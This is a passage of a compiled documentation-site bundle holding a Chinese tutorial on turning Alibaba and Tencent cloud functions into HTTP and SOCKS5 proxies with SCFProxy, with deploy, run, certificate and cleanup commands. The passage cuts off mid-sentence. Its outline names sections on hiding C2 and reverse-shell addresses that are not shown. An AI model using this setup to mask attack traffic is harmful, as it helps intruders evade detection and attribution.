GAZu3rwp1qhVFEWshWouZ6aqKiYnJ/H48WMMDw+LZbw+/fRT29qy5mLu4XBYurVUURScOXMGPT09UBRFfG5O7Lu1dde6iLy1Vdh6/E6ttjLnR3ZftTguc/vW1XWKLTofDofR398v1i3N5XK4ceOG7dzLpNl63e/cuWObPFkmzzJprNvbuvqRSfbYt6uWZZWIiBpL1YHiTltYWEAwGMTRo0crWh3m8OHD+OGHH2xd3+fOncPFixdFN9zp06exf/9+9Pb2YmZmBr/61a8QDAaxsLCAdDqNSCQiugOXl5fR09ODaDSK58+fI51OwzAMTE1N4fLly4jFYpiYmMAnn3yC9fV1XLp0CQBw+/ZthMNhDAwM2G6+x44dQy6Xq+jGe+bMGWiahlwuJ1pdAYjtzs7OIpfLIRAIwOv1iq5GwN5qa12S0anVVub8yO6rFscly1zj2zAMpFIpNDU1obe3FyMjIwiHw9JpzCA4lUohl8vB4/FgaGgIL168EA8JMnkul0ZVVRw9elR83traKt73XFtbq/j4t6uWZZWIiBpLyUCxo6PD9vL74cOH8ezZsx3PFAAEAgEAm8FLJQ4cOIDh4WEAm62e7e3t6O3tBfBTN9y7774LVVVFC4qqqggGg/B4PEin0wgGgzAMQwRQqqpienoagUBAtOTMzc0hlUpB0zQ0NTVBVVWMj4+Lm6phGFhaWkJXV5fIm8/ng6IouHPnTkXH1NHRAQC4dOmS403bXGrR4/GI43aydUnG8+fPY3BwEIqiwDAM6fMjs69aHJes/v5+GIaBc+fOie34fD7bu34yaXp6ejA/Py9aRdPpNDo6OnDixAkRKMrkuVwa8/1Ok9frhdfrBbB5jXY7UKxlWSUiosZSMlBUVdU2yATAjgWKhw8fFkFpR0cHVFWtqjVD13XbzysrKyKo2cq8IefzeRGYAoDb7cb8/Lz4OZ/PQ9d1tLS02P5+YmICnZ2dCAaDyGQyBUFTNpuF1+tFJBLBzMwM3nnnHQCbLTiVuHfvHlRVRTKZFK2cs7OzFa/Draoq3n//fbS1tQEAXC4XAKC7u9sx4Ct2fmqlVsfldruRyWRsZWVrsCWTRlEUKIpi604HYMuPTJ7LpTHXIwecB43thVqVVSIiaiwlA8Vio553gqIoopXF7B784osvdmx/tbKxsVH0d+l0GmfPnsXbb78NAOjs7Kwq+E0mk3j06BFOnTqF48ePw+/3Q9M0XL9+XbR0laMoCiYnJ7G+vi66Q1tbW8X7enuhFsdlam5urkma+fn5gkBxbW2tojzX8rh2S63KKhERNZa6eUfR+tL+dmwNfFpbW0sGc050XcexY8fEz6qqFrQyApvvtKmqikwmY3vH0er+/fsYHBxEKBQSrVrVsHYbK4qCZDJp6xK1choA1N3dDZfLhd///vcij5FIRHR5VquSwUZOKjkuAHjzzTcLPtN1HV1dXaIL3YlMGsMw0NLSUrY7XSbPlR6XDKdjt2ptbS27jVJpalVWiYiocdRNoFgr6+vruHr1KlKpFDwej5iSB/hpEIHZ5RoKhRwHD2QyGQwNDWF6eloMZgHsI3x9Pp8Y+DAxMYG2tjacPXsWi4uLtkDk7t27GBwcxOnTpwFU15U3OjqKly9fip/Nd+AeP35sS/fVV19B0zSMjY2JVsP19XVcu3ZNtIqZXchtbW2i9SgQCIiBKDLnp9y+anlc5qCS0dFRkW9rnvP5PL788ktEo1EkEgksLCyIbX777bdilLFMmps3byIajeLq1at48OABnj9/jkOHDuHRo0ci6JPJs+z1Kkfm2E26rsPr9Yp9NzU12Ubxy6SpRVklIqLG0nCB4rNnz7CysiKmeTGnxwEKBxHE43HHwQMzMzM4cuQI/H4/VFWFYRi4fv26aGlSFAUfffQRdF0XXfOff/45Jicn8dlnn4nBNMBmy5J5w6+2K6+5uVlM9wP81DW/NSibm5tDIpFAX1+fOE5zvktz8I3f74fX64Wu65iamhLBtDm3pcz5KbevWh7XjRs3sH//fgSDQeTzeSQSCVy+fFnkOZ/Pi1a6/v5+2/YSiYT4/0rTRKNRAJuvFoyNjVWUZ9nrVY7MsZumpqYwMjIi9uvUGlguTS3KKhERNZZ9Bw8e/HGvM1Er1pVj6ok5T12t578jqjWWVSIismq4FsV6EQqFEAgE0N7eLt5v5I2X6hHLKhERFcNAcYd4PB50dXVB13XHFTmI6gXLKhERFdNQXc9EREREVDuvOX34/Pnz3c4HEREREdUZx0CRiIiIiIiBIhERERE5YqBIRERERI4YKBIRERGRIwaKREREROSIgSIREREROWKgSERERESOGCgSERERkSMGikRERETkiIEiERERETlioEhEREREjhgoEhEREZEjBopERERE5IiBIhERERE5YqBIRERERI4YKBIRERGRIwaKREREROSIgSIREREROdp38ODBH/c6E0RERERUf9iiSERERESOGCgSERERkSMGikRERETkiIEiERERETlioEhEREREjhgoEhEREZEjBopERERE5IiBIhERERE5YqBIRERERI4YKBIRERGRIwaKREREROSIgSIREREROWKgSERERESOGCgSERERkSMGikRERETkiIEiERERETlioEhEREREjhgoEhEREZEjBopERERE5IiBIhERERE5YqBIRERERI4YKBIRERGRIwaKREREROSIgSIREREROWKgSERERESO/h8LCw1/eXmJjAAAAABJRU5ErkJggg=="},69032:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223140831662-308a13c7d5e4f8848efa5a71d0744bc8.png"},69885:(e,i,s)=>{s.r(i),s.d(i,{assets:()=>t,contentTitle:()=>d,default:()=>p,frontMatter:()=>c,metadata:()=>n,toc:()=>h});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","title":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/02.\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/02.\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"},"next":{"title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b"}}');var r=s(74848),l=s(28453);const c={},d="\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406",t={},h=[{value:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",id:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",level:2},{value:"\u57fa\u4e8e\u7684\u5de5\u5177",id:"\u57fa\u4e8e\u7684\u5de5\u5177",level:2},{value:"HTTP \u4ee3\u7406",id:"http-\u4ee3\u7406",level:2},{value:"\u539f\u7406\u548c\u5b9e\u73b0",id:"\u539f\u7406\u548c\u5b9e\u73b0",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72",level:3},{value:"\u8fd0\u884c",id:"\u8fd0\u884c",level:3},{value:"\u6e05\u7406",id:"\u6e05\u7406",level:3},{value:"\u4f8b\u5b50",id:"\u4f8b\u5b50",level:3},{value:"\u83b7\u53d6key",id:"\u83b7\u53d6key",level:4},{value:"\u9996\u6b21\u8fd0\u884c",id:"\u9996\u6b21\u8fd0\u884c",level:4},{value:"\u90e8\u7f72 http api",id:"\u90e8\u7f72-http-api",level:4},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-1",level:4},{value:"\u5b89\u88c5\u8bc1\u4e66",id:"\u5b89\u88c5\u8bc1\u4e66",level:4},{value:"\u9a8c\u8bc1",id:"\u9a8c\u8bc1",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-1",level:4},{value:"SOCKS5 \u4ee3\u7406",id:"socks5-\u4ee3\u7406",level:2},{value:"\u539f\u7406\u548c\u5b9e\u73b0",id:"\u539f\u7406\u548c\u5b9e\u73b0-1",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72-1",level:3},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-2",level:3},{value:"\u6e05\u7406",id:"\u6e05\u7406-2",level:3},{value:"\u4f8b\u5b50",id:"\u4f8b\u5b50-1",level:3},{value:"\u83b7\u53d6key",id:"\u83b7\u53d6key-1",level:4},{value:"\u9996\u6b21\u8fd0\u884c",id:"\u9996\u6b21\u8fd0\u884c-1",level:4},{value:"\u90e8\u7f72 socks api",id:"\u90e8\u7f72-socks-api",level:4},{value:"\u8fd0\u884c",id:"\u8fd0\u884c-3",level:4},{value:"\u5b89\u88c5\u8bc1\u4e66",id:"\u5b89\u88c5\u8bc1\u4e66-1",level:4},{value:"\u9a8c\u8bc1",id:"\u9a8c\u8bc1-1",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-3",level:4},{value:"\u53cd\u5411\u4ee3\u7406",id:"\u53cd\u5411\u4ee3\u7406",level:2},{value:"\u90e8\u7f72",id:"\u90e8\u7f72-2",level:3},{value:"\u4f7f\u7528\u573a\u666f",id:"\u4f7f\u7528\u573a\u666f",level:3},{value:"C2 \u9690\u85cf",id:"c2-\u9690\u85cf",level:4},{value:"\u53cd\u5f39 shell \u5730\u5740\u9690\u85cf",id:"\u53cd\u5f39-shell-\u5730\u5740\u9690\u85cf",level:4},{value:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",id:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",level:4},{value:"\u6e05\u7406",id:"\u6e05\u7406-4",level:3},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function a(e){const i={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(i.table,{children:[(0,r.jsx)(i.thead,{children:(0,r.jsxs)(i.tr,{children:[(0,r.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(i.tbody,{children:(0,r.jsxs)(i.tr,{children:[(0,r.jsx)(i.td,{style:{textAlign:"left"},children:(0,r.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(i.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,r.jsx)(i.header,{children:(0,r.jsx)(i.h1,{id:"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406",children:"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"})}),"\n",(0,r.jsx)(i.h2,{id:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570",children:"\u4ec0\u4e48\u662f\u4e91\u51fd\u6570"}),"\n",(0,r.jsx)(i.p,{children:"\u4e91\u51fd\u6570 (Serverless Cloud Function\uff0cSCF) \u662f\u817e\u8baf\u4e91\u4e3a\u4f01\u4e1a\u548c\u5f00\u53d1\u8005\u4eec\u63d0\u4f9b\u7684\u65e0\u670d\u52a1\u5668\u6267\u884c\u73af\u5883\u3002\u65e0\u670d\u52a1\u5668\u5e76\u975e\u771f\u7684\u6ca1\u6709\u670d\u52a1\u5668\uff0c\u800c\u662f\u8bf4\u7528\u6237\u65e0\u9700\u8d2d\u4e70\u670d\u52a1\u5668\uff0c\u65e0\u9700\u5173\u5fc3\u670d\u52a1\u5668 CPU\u3001\u5185\u5b58\u3001\u7f51\u7edc\u914d\u7f6e\u3001\u8d44\u6e90\u7ef4\u62a4\u3001\u4ee3\u7801\u90e8\u7f72\u3001\u5f39\u6027\u4f38\u7f29\u3001\u8d1f\u8f7d\u5747\u8861\u3001\u5b89\u5168\u5347\u7ea7\u3001\u8d44\u6e90\u8fd0\u884c\u60c5\u51b5\u76d1\u63a7\u7b49\uff0c\u4e5f\u5c31\u662f\u8bf4\u4e0d\u7528\u4e13\u95e8\u5b89\u6392\u4eba\u529b \u505a\u8fd9\u4e9b\uff0c\u53ea\u9700\u4e13\u6ce8\u4e8e\u4ee3\u7801\u7f16\u5199\u5e76\u4e0a\u4f20\u5373\u53ef\u3002\u5f88\u5927\u7a0b\u5ea6\u4e0a\u964d\u4f4e\u4e86\u7814\u53d1\u95e8\u69db\uff0c\u63d0\u5347\u4e1a\u52a1\u6784\u5efa\u6548\u7387"}),"\n",(0,r.jsx)(i.h2,{id:"\u57fa\u4e8e\u7684\u5de5\u5177",children:"\u57fa\u4e8e\u7684\u5de5\u5177"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy",children:"SCFProxy\u9879\u76ee"})}),"\n"]}),"\n",(0,r.jsx)(i.h2,{id:"http-\u4ee3\u7406",children:"HTTP \u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u539f\u7406\u548c\u5b9e\u73b0",children:"\u539f\u7406\u548c\u5b9e\u73b0"}),"\n",(0,r.jsx)(i.p,{children:"\u8fd9\u662f\u6700\u4e3a\u7b80\u5355\u7684\u5229\u7528\u65b9\u5f0f\u3002\u4e3b\u8981\u539f\u7406\u5728\u4e8e\uff1a"}),"\n",(0,r.jsxs)(i.ol,{children:["\n",(0,r.jsxs)(i.li,{children:["\u4e91\u51fd\u6570\u53ef\u5229\u7528 ",(0,r.jsx)(i.a,{href:"https://cloud.tencent.com/document/product/583/9705",children:"API \u7f51\u5173\u89e6\u53d1\u5668"}),"\u8fdb\u884c\u89e6\u53d1\uff0c\u63a5\u53d7\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u6570\u636e"]}),"\n",(0,r.jsx)(i.li,{children:"\u53ef\u4ee5\u5bf9\u5916\u53d1\u5305\uff0c\u7c7b\u4f3c\u4e8e\u4e00\u4e2a SSRF"}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:"\u56e0\u6b64\u4e00\u4e2a HTTP Proxy \u7684\u5b9e\u73b0\u601d\u8def\u5c31\u5f88\u7b80\u5355\u4e86\u3002\u5ba2\u6237\u7aef\u6302\u4e0a\u4ee3\u7406\u53d1\u9001\u6570\u636e\u5305\uff0cHTTP \u4ee3\u7406\u670d\u52a1\u5668\u62e6\u622a\u6570\u636e\u5305\uff0c\u63d0\u53d6 HTTP \u62a5\u6587\u76f8\u5173\u4fe1\u606f\uff0c\u7136\u540e\u5c06\u62a5\u6587\u4ee5\u67d0\u79cd\u5f62\u5f0f POST \u5230\u4e91\u51fd\u6570\u8fdb\u884c\u89e3\u6790\uff0c\u4e91\u51fd\u6570\u6839\u636e\u89e3\u6790\u5230\u7684\u4fe1\u606f\u5bf9\u76ee\u6807\u53d1\u8d77\u8bf7\u6c42\uff0c\u6700\u7ec8\u5c06\u7ed3\u679c\u4e00\u5c42\u4e00\u5c42\u8fd4\u56de\u3002"}),"\n",(0,r.jsx)(i.p,{children:"\u6d41\u7a0b\u5982\u56fe\u6240\u793a\uff1a"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223141456899",src:s(84978).A+"",width:"186",height:"474"})}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy http -p provider_list -r region_list\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"provider_list"})," \u4e0e ",(0,r.jsx)(i.code,{children:"region_list"})," \u4f20\u5165\u7684\u53c2\u6570\u5217\u8868\u4ee5 ",(0,r.jsx)(i.code,{children:","})," \u5206\u9694\u3002"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"region_list"})," \u652f\u6301\u5982\u4e0b 4 \u79cd\u5f62\u5f0f\uff08\u5728\u6240\u6709 ",(0,r.jsx)(i.code,{children:"deploy"})," \u53ca ",(0,r.jsx)(i.code,{children:"clear"})," \u547d\u4ee4\u4e0a\u90fd\u652f\u6301\uff09"]}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"*"})," \u8868\u793a\u6240\u6709\u533a\u57df"]}),"\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"area-*"})," \u8868\u793a\u8be5 area \u533a\u57df\u652f\u6301\u7684\u6240\u6709\u5730\u533a"]}),"\n",(0,r.jsxs)(i.li,{children:[(0,r.jsx)(i.code,{children:"are-num"})," \u8868\u793a\u8be5 area \u533a\u57df\u652f\u6301\u7684\u524d ",(0,r.jsx)(i.code,{children:"num"})," \u4e2a\u5730\u533a(\u4ee3\u7801\u786c\u7f16\u7801\u987a\u5e8f\u8fd4\u56de)"]}),"\n",(0,r.jsx)(i.li,{children:"\u6807\u51c6\u5f62\u5f0f\uff0c\u5373\u4e91\u5382\u5546\u6240\u63d0\u4f9b\u7684\u6807\u51c6 region \u5f62\u5f0f"}),"\n"]}),"\n",(0,r.jsxs)(i.p,{children:["\u5bf9\u4e8e\u63d0\u4f9b\u591a\u4e2a ",(0,r.jsx)(i.code,{children:"provider"})," \u7684\u60c5\u51b5\u4e0b\uff0c\u5c06\u5bf9\u6bcf\u4e2a ",(0,r.jsx)(i.code,{children:"provider"})," \u8fdb\u884c\u4e0a\u8ff0 ",(0,r.jsx)(i.code,{children:"region"})," \u5f62\u5f0f\u7684\u89e3\u6790\u4e0e\u67e5\u627e\uff0c\u4e0d\u5b58\u5728\u7684 ",(0,r.jsx)(i.code,{children:"region"})," \u5c06\u88ab\u5ffd\u7565"]}),"\n",(0,r.jsx)(i.p,{children:"\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u901a\u8fc7 ",(0,r.jsx)(i.code,{children:"scfproxy list -p alibaba,tencent"})," \u53ef\u4ee5\u67e5\u770b\u5230\u6240\u6709\u7684 region\uff0c\u4e0a\u9762\u8fd9\u6761\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u4e3a"]}),"\n",(0,r.jsxs)(i.ol,{children:["\n",(0,r.jsxs)(i.li,{children:["\u5728 ",(0,r.jsx)(i.code,{children:"alibaba"})," \u4e0a\u90e8\u7f72 ",(0,r.jsx)(i.code,{children:"ap-northeast-1"}),", ",(0,r.jsx)(i.code,{children:"eu-central-1"}),", ",(0,r.jsx)(i.code,{children:" eu-west-1"}),", ",(0,r.jsx)(i.code,{children:"cn-shanghai"})," \u533a\u57df\u7684 http \u4ee3\u7406"]}),"\n",(0,r.jsxs)(i.li,{children:["\u5728 ",(0,r.jsx)(i.code,{children:"tencent"})," \u4e0a\u90e8\u7f72 ",(0,r.jsx)(i.code,{children:"ap-beijing"})," \u533a\u57df\u7684 http \u4ee3\u7406"]}),"\n"]}),"\n",(0,r.jsx)(i.h3,{id:"\u8fd0\u884c",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy http -l port [-c cert_path] [-k key_path]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u9996\u6b21\u8fd0\u884c\u4f1a\u5728 ",(0,r.jsx)(i.code,{children:"~/.confg/scfproxy/cert"})," \u76ee\u5f55\u751f\u6210 ",(0,r.jsx)(i.code,{children:"scfproxy.cer"})," \u53ca ",(0,r.jsx)(i.code,{children:"scfproxy.key"})," \u8bc1\u4e66\uff0c\u9700\u8981\u5c06\u5176\u5bfc\u5165\u7cfb\u7edf\u8bc1\u4e66\u5e76\u4fe1\u4efb\u624d\u53ef\u4ee5\u4ee3\u7406 https \u8bf7\u6c42\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear http -p provider_list -r region_list [--completely]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u6e05\u7406\u529f\u80fd\u9ed8\u8ba4\u53ea\u4f1a\u5220\u9664\u89e6\u53d1\u5668\uff0c\u5982\u9700\u540c\u65f6\u5220\u9664\u51fd\u6570\uff0c\u9700\u6dfb\u52a0 ",(0,r.jsx)(i.code,{children:"-e/--completely"})," \u53c2\u6570"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f8b\u5b50",children:"\u4f8b\u5b50"}),"\n",(0,r.jsxs)(i.blockquote,{children:["\n",(0,r.jsx)(i.p,{children:"\u672c\u6b21\u6848\u4f8b\u4f7f\u7528\u7684\u662f\u963f\u91cc\u4e91"}),"\n"]}),"\n",(0,r.jsx)(i.h4,{id:"\u83b7\u53d6key",children:"\u83b7\u53d6key"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://ram.console.aliyun.com/manage/ak",children:"\u963f\u91cc\u4e91\u83b7\u53d6key"})}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223134859998",src:s(87079).A+"",width:"1840",height:"545"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9996\u6b21\u8fd0\u884c",children:"\u9996\u6b21\u8fd0\u884c"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6e \u4e91\u7684key\uff0c\u8fd9\u91cc\u6f14\u793a\u7684\u662f\u963f\u91cc\u4e91"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"scfproxy && vim /root/.config/scfproxy/sdk.toml\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221832761",src:s(37740).A+"",width:"1017",height:"394"})}),"\n",(0,r.jsx)(i.h4,{id:"\u90e8\u7f72-http-api",children:"\u90e8\u7f72 http api"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy deploy http -p alibaba -r eu-*\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221636085",src:s(84827).A+"",width:"805",height:"100"})}),"\n",(0,r.jsx)(i.p,{children:"\u67e5\u770b\u90e8\u7f72\u662f\u5426\u6210\u529f"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy list http\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221709180",src:s(35034).A+"",width:"859",height:"157"})}),"\n",(0,r.jsx)(i.h4,{id:"\u8fd0\u884c-1",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy http -l 0.0.0.0:1234\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222222024780",src:s(68891).A+"",width:"650",height:"88"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.strong,{children:"\u6ce8\u610f\uff1a\u82e5\u6709\u81ea\u5df1\u5e38\u7528\u7684\u8bc1\u4e66\u53ef\u4ee5\u6307\u5b9a\u8bc1\u4e66\u8def\u5f84"})}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222223511647",src:s(50071).A+"",width:"1297",height:"51"})}),"\n",(0,r.jsx)(i.h4,{id:"\u5b89\u88c5\u8bc1\u4e66",children:"\u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:"\u53cc\u51fb\u8bc1\u4e66 -> \u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135148342",src:s(96152).A+"",width:"479",height:"671"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9a8c\u8bc1",children:"\u9a8c\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6eSwitchyOmega"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140912091",src:s(1020).A+"",width:"1524",height:"672"})}),"\n",(0,r.jsxs)(i.p,{children:["\u8bbf\u95ee ",(0,r.jsx)(i.a,{href:"https://ifconfig.me/",children:"https://ifconfig.me/"})]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135852257",src:s(9583).A+"",width:"1197",height:"861"})}),"\n",(0,r.jsx)(i.h4,{id:"\u6e05\u7406-1",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"./scfproxy list http\n./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely\n./scfproxy list http\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140334555",src:s(40291).A+"",width:"1096",height:"365"})}),"\n",(0,r.jsx)(i.h2,{id:"socks5-\u4ee3\u7406",children:"SOCKS5 \u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u539f\u7406\u548c\u5b9e\u73b0-1",children:"\u539f\u7406\u548c\u5b9e\u73b0"}),"\n",(0,r.jsx)(i.p,{children:"\u6b63\u5e38 SOCKS5 \u4ee3\u7406\u8bf7\u6c42\u7684\u6d41\u7a0b\u4e3a\u670d\u52a1\u7aef\u76d1\u542c\u6765\u81ea\u5ba2\u6237\u7aef\u7684\u4e8b\u4ef6\uff0c\u6bcf\u5f53\u5ba2\u6237\u7aef\u53d1\u8d77\u4e00\u4e2a\u65b0\u7684\u8fde\u63a5\uff0c\u670d\u52a1\u7aef\u751f\u6210\u4e00\u4e2a socket A\uff0c\u5e76\u4ece\u6570\u636e\u5305\u4e2d\u89e3\u6790\u51fa\u76ee\u6807\u670d\u52a1\u5668\u7684\u5730\u5740\u548c\u7aef\u53e3\uff0c\u5728\u672c\u5730\u5bf9\u76ee\u6807\u53d1\u8d77\u4e00\u4e2a socket \u8fde\u63a5 B\uff0c\u540c\u6b65\u4e24\u4e2a socket \u7684 IO \u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(i.p,{children:"SOCKS5\u4e3b\u8981\u5206\u4e3a\u4e0b\u97623\u4e2a\u6b65\u9aa4\uff1a"}),"\n",(0,r.jsx)(i.p,{children:"1.\u8ba4\u8bc1\uff1a\u5bf9\u5ba2\u6237\u7aef\u53d1\u8d77\u7684\u8fde\u63a5\u8fdb\u884c\u8ba4\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"2.\u5efa\u7acb\u8fde\u63a5\uff1a\u4ece\u5ba2\u6237\u7aef\u53d1\u8d77\u7684\u8fde\u63a5\u4e2d\u8bfb\u53d6\u6570\u636e\uff0c\u83b7\u5f97\u76ee\u6807\u670d\u52a1\u5668\u5730\u5740\uff0c\u5e76\u5efa\u7acb\u8fde\u63a5"}),"\n",(0,r.jsx)(i.p,{children:"3.\u8f6c\u53d1\u6570\u636e\uff1a\u5206\u522b\u5c06\u6765\u81ea\u5ba2\u6237\u7aef\u3001\u670d\u52a1\u5668\u7684\u6570\u636e\u8f6c\u53d1\u7ed9\u5bf9\u65b9"}),"\n",(0,r.jsx)(i.p,{children:"\u4f7f\u7528\u4e91\u51fd\u6570\u5efa\u7acb\u8fde\u63a5\u7684\u65b9\u5f0f\uff0c\u6211\u4eec\u9700\u8981\u7684\u4e0d\u518d\u662f\u5bf9\u5916\u4e3b\u52a8\u53d1\u8d77\u8fde\u63a5\uff0c\u800c\u662f\u76d1\u542c\u4e00\u4e2a\u7aef\u53e3\uff0c\u7b49\u5f85\u4e91\u51fd\u6570\u53d1 